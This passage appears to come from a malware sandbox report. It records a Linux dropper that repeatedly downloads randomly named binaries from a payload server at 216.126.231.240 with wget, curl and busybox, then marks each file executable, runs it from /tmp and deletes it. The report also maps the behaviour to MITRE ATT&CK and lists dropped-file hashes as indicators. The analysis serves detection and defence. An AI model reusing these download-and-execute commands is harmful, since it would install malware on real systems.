  - Writes file to tmp directory
  PID:889
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/hzlE1XO4LkexhSbSXY0RjdhiUQXj2VxsGz
  2⤵
  PID:890
- /bin/chmod
  chmod 777 hzlE1XO4LkexhSbSXY0RjdhiUQXj2VxsGz
  2⤵
  - File and Directory Permissions Modification
  PID:891
- /tmp/hzlE1XO4LkexhSbSXY0RjdhiUQXj2VxsGz
  ./hzlE1XO4LkexhSbSXY0RjdhiUQXj2VxsGz
  2⤵
  - Executes dropped EXE
  PID:892
- /bin/rm
  rm hzlE1XO4LkexhSbSXY0RjdhiUQXj2VxsGz
  2⤵
  PID:893
- /usr/bin/wget
  wget http://216.126.231.240/bins/D6xwqFO8PDKHGx8xe83Ee6dThtxoFseFmA
  2⤵
  PID:894
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/D6xwqFO8PDKHGx8xe83Ee6dThtxoFseFmA
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:895
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/D6xwqFO8PDKHGx8xe83Ee6dThtxoFseFmA
  2⤵
  PID:896
- /bin/chmod
  chmod 777 D6xwqFO8PDKHGx8xe83Ee6dThtxoFseFmA
  2⤵
  - File and Directory Permissions Modification
  PID:897
- /tmp/D6xwqFO8PDKHGx8xe83Ee6dThtxoFseFmA
  ./D6xwqFO8PDKHGx8xe83Ee6dThtxoFseFmA
  2⤵
  - Executes dropped EXE
  PID:898
- /bin/rm
  rm D6xwqFO8PDKHGx8xe83Ee6dThtxoFseFmA
  2⤵
  PID:899
- /usr/bin/wget
  wget http://216.126.231.240/bins/aW3VI1gs15C6e6iOghcmMv5uKNIvNj2gko
  2⤵
  PID:900
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/aW3VI1gs15C6e6iOghcmMv5uKNIvNj2gko
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:902
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/aW3VI1gs15C6e6iOghcmMv5uKNIvNj2gko
  2⤵
  PID:903
- /bin/chmod
  chmod 777 aW3VI1gs15C6e6iOghcmMv5uKNIvNj2gko
  2⤵
  - File and Directory Permissions Modification
  PID:904
- /tmp/aW3VI1gs15C6e6iOghcmMv5uKNIvNj2gko
  ./aW3VI1gs15C6e6iOghcmMv5uKNIvNj2gko
  2⤵
  - Executes dropped EXE
  PID:905
- /bin/rm
  rm aW3VI1gs15C6e6iOghcmMv5uKNIvNj2gko
  2⤵
  PID:906
- /usr/bin/wget
  wget http://216.126.231.240/bins/dDWIxJv7LXy0iuZxiimZkhZx3BTgBw8tFu
  2⤵
  PID:907
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/dDWIxJv7LXy0iuZxiimZkhZx3BTgBw8tFu
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:908
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/dDWIxJv7LXy0iuZxiimZkhZx3BTgBw8tFu
  2⤵
  PID:909
- /bin/chmod
  chmod 777 dDWIxJv7LXy0iuZxiimZkhZx3BTgBw8tFu
  2⤵
  - File and Directory Permissions Modification
  PID:910
- /tmp/dDWIxJv7LXy0iuZxiimZkhZx3BTgBw8tFu
  ./dDWIxJv7LXy0iuZxiimZkhZx3BTgBw8tFu
  2⤵
  - Executes dropped EXE
  PID:911
- /bin/rm
  rm dDWIxJv7LXy0iuZxiimZkhZx3BTgBw8tFu
  2⤵
  PID:912
- /usr/bin/wget
  wget http://216.126.231.240/bins/3L5MtfR1zvyvkRo0Am7cLg9bo8vOA6MbyP
  2⤵
  PID:913
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/3L5MtfR1zvyvkRo0Am7cLg9bo8vOA6MbyP
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:914
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/3L5MtfR1zvyvkRo0Am7cLg9bo8vOA6MbyP
  2⤵
  PID:915
- /bin/chmod
  chmod 777 3L5MtfR1zvyvkRo0Am7cLg9bo8vOA6MbyP
  2⤵
  - File and Directory Permissions Modification
  PID:916
- /tmp/3L5MtfR1zvyvkRo0Am7cLg9bo8vOA6MbyP
  ./3L5MtfR1zvyvkRo0Am7cLg9bo8vOA6MbyP
  2⤵
  - Executes dropped EXE
  PID:917
- /bin/rm
  rm 3L5MtfR1zvyvkRo0Am7cLg9bo8vOA6MbyP
  2⤵
  PID:918
- /usr/bin/wget
  wget http://216.126.231.240/bins/GlykBiquVrYh0lZhpbPhHwQ4ii3WeE9Wqk
  2⤵
  PID:919
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/GlykBiquVrYh0lZhpbPhHwQ4ii3WeE9Wqk
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:922
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/GlykBiquVrYh0lZhpbPhHwQ4ii3WeE9Wqk
  2⤵
  PID:923
- /bin/chmod
  chmod 777 GlykBiquVrYh0lZhpbPhHwQ4ii3WeE9Wqk
  2⤵
  - File and Directory Permissions Modification
  PID:924
- /tmp/GlykBiquVrYh0lZhpbPhHwQ4ii3WeE9Wqk
  ./GlykBiquVrYh0lZhpbPhHwQ4ii3WeE9Wqk
  2⤵
  - Executes dropped EXE
  PID:925
- /bin/rm
  rm GlykBiquVrYh0lZhpbPhHwQ4ii3WeE9Wqk
  2⤵
  PID:926
- /usr/bin/wget
  wget http://216.126.231.240/bins/SuTzVdYYg6kKfzq4KDCa9TfDTmHGr0uXZx
  2⤵
  PID:927
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/SuTzVdYYg6kKfzq4KDCa9TfDTmHGr0uXZx
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:928
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/SuTzVdYYg6kKfzq4KDCa9TfDTmHGr0uXZx
  2⤵
  PID:929
- /bin/chmod
  chmod 777 SuTzVdYYg6kKfzq4KDCa9TfDTmHGr0uXZx
  2⤵
  - File and Directory Permissions Modification
  PID:930
- /tmp/SuTzVdYYg6kKfzq4KDCa9TfDTmHGr0uXZx
  ./SuTzVdYYg6kKfzq4KDCa9TfDTmHGr0uXZx
  2⤵
  - Executes dropped EXE
  PID:931
- /bin/rm
  rm SuTzVdYYg6kKfzq4KDCa9TfDTmHGr0uXZx
  2⤵
  PID:932
- /usr/bin/wget
  wget http://216.126.231.240/bins/1KnQuleVbAACp122h6OOWp5FZOiSuBEAaB
  2⤵
  PID:933
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/1KnQuleVbAACp122h6OOWp5FZOiSuBEAaB
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:934
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/1KnQuleVbAACp122h6OOWp5FZOiSuBEAaB
  2⤵
  PID:935
- /bin/chmod
  chmod 777 1KnQuleVbAACp122h6OOWp5FZOiSuBEAaB
  2⤵
  - File and Directory Permissions Modification
  PID:936
- /tmp/1KnQuleVbAACp122h6OOWp5FZOiSuBEAaB
  ./1KnQuleVbAACp122h6OOWp5FZOiSuBEAaB
  2⤵
  - Executes dropped EXE
  PID:937
- /bin/rm
  rm 1KnQuleVbAACp122h6OOWp5FZOiSuBEAaB
  2⤵
  PID:938

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

VxGTCYEq6vaIQWIRmNAd2hdDSwCjEc6gts

Path /tmp/VxGTCYEq6vaIQWIRmNAd2hdDSwCjEc6gts
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/VxGTCYEq6vaIQWIRmNAd2hdDSwCjEc6gts	690	VxGTCYEq6vaIQWIRmNAd2hdDSwCjEc6gts
/tmp/zs5WTkipL9LhCshIEC341a91dqt91lczlH	712	zs5WTkipL9LhCshIEC341a91dqt91lczlH
/tmp/lTmRVlrsqtaMqNBEj3R9Ghkv1Tc4omreF1	742	lTmRVlrsqtaMqNBEj3R9Ghkv1Tc4omreF1
/tmp/6NVSM2x4lLz3QDe4bjV80NBLWIYCrVMJCh	765	6NVSM2x4lLz3QDe4bjV80NBLWIYCrVMJCh
/tmp/7CCoyipQmqAiMRQ5sER6UD1DVh0TADoL7J	789	7CCoyipQmqAiMRQ5sER6UD1DVh0TADoL7J
/tmp/hzlE1XO4LkexhSbSXY0RjdhiUQXj2VxsGz	795	hzlE1XO4LkexhSbSXY0RjdhiUQXj2VxsGz
/tmp/D6xwqFO8PDKHGx8xe83Ee6dThtxoFseFmA	801	D6xwqFO8PDKHGx8xe83Ee6dThtxoFseFmA
/tmp/7pICio42YzhVHAB9XCZ8smXDZL6PXpB220	807	7pICio42YzhVHAB9XCZ8smXDZL6PXpB220
/tmp/dDWIxJv7LXy0iuZxiimZkhZx3BTgBw8tFu	815	dDWIxJv7LXy0iuZxiimZkhZx3BTgBw8tFu
/tmp/3L5MtfR1zvyvkRo0Am7cLg9bo8vOA6MbyP	821	3L5MtfR1zvyvkRo0Am7cLg9bo8vOA6MbyP
/tmp/GlykBiquVrYh0lZhpbPhHwQ4ii3WeE9Wqk	827	GlykBiquVrYh0lZhpbPhHwQ4ii3WeE9Wqk
/tmp/SuTzVdYYg6kKfzq4KDCa9TfDTmHGr0uXZx	833	SuTzVdYYg6kKfzq4KDCa9TfDTmHGr0uXZx
/tmp/1KnQuleVbAACp122h6OOWp5FZOiSuBEAaB	839	1KnQuleVbAACp122h6OOWp5FZOiSuBEAaB
/tmp/aW3VI1gs15C6e6iOghcmMv5uKNIvNj2gko	845	aW3VI1gs15C6e6iOghcmMv5uKNIvNj2gko
/tmp/7CCoyipQmqAiMRQ5sER6UD1DVh0TADoL7J	851	7CCoyipQmqAiMRQ5sER6UD1DVh0TADoL7J
/tmp/VxGTCYEq6vaIQWIRmNAd2hdDSwCjEc6gts	857	VxGTCYEq6vaIQWIRmNAd2hdDSwCjEc6gts
/tmp/zs5WTkipL9LhCshIEC341a91dqt91lczlH	864	zs5WTkipL9LhCshIEC341a91dqt91lczlH
/tmp/lTmRVlrsqtaMqNBEj3R9Ghkv1Tc4omreF1	871	lTmRVlrsqtaMqNBEj3R9Ghkv1Tc4omreF1
/tmp/6NVSM2x4lLz3QDe4bjV80NBLWIYCrVMJCh	877	6NVSM2x4lLz3QDe4bjV80NBLWIYCrVMJCh
/tmp/7pICio42YzhVHAB9XCZ8smXDZL6PXpB220	886	7pICio42YzhVHAB9XCZ8smXDZL6PXpB220
/tmp/hzlE1XO4LkexhSbSXY0RjdhiUQXj2VxsGz	892	hzlE1XO4LkexhSbSXY0RjdhiUQXj2VxsGz
/tmp/D6xwqFO8PDKHGx8xe83Ee6dThtxoFseFmA	898	D6xwqFO8PDKHGx8xe83Ee6dThtxoFseFmA
/tmp/aW3VI1gs15C6e6iOghcmMv5uKNIvNj2gko	905	aW3VI1gs15C6e6iOghcmMv5uKNIvNj2gko
/tmp/dDWIxJv7LXy0iuZxiimZkhZx3BTgBw8tFu	911	dDWIxJv7LXy0iuZxiimZkhZx3BTgBw8tFu
/tmp/3L5MtfR1zvyvkRo0Am7cLg9bo8vOA6MbyP	917	3L5MtfR1zvyvkRo0Am7cLg9bo8vOA6MbyP
/tmp/GlykBiquVrYh0lZhpbPhHwQ4ii3WeE9Wqk	925	GlykBiquVrYh0lZhpbPhHwQ4ii3WeE9Wqk
/tmp/SuTzVdYYg6kKfzq4KDCa9TfDTmHGr0uXZx	931	SuTzVdYYg6kKfzq4KDCa9TfDTmHGr0uXZx
/tmp/1KnQuleVbAACp122h6OOWp5FZOiSuBEAaB	937	1KnQuleVbAACp122h6OOWp5FZOiSuBEAaB

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads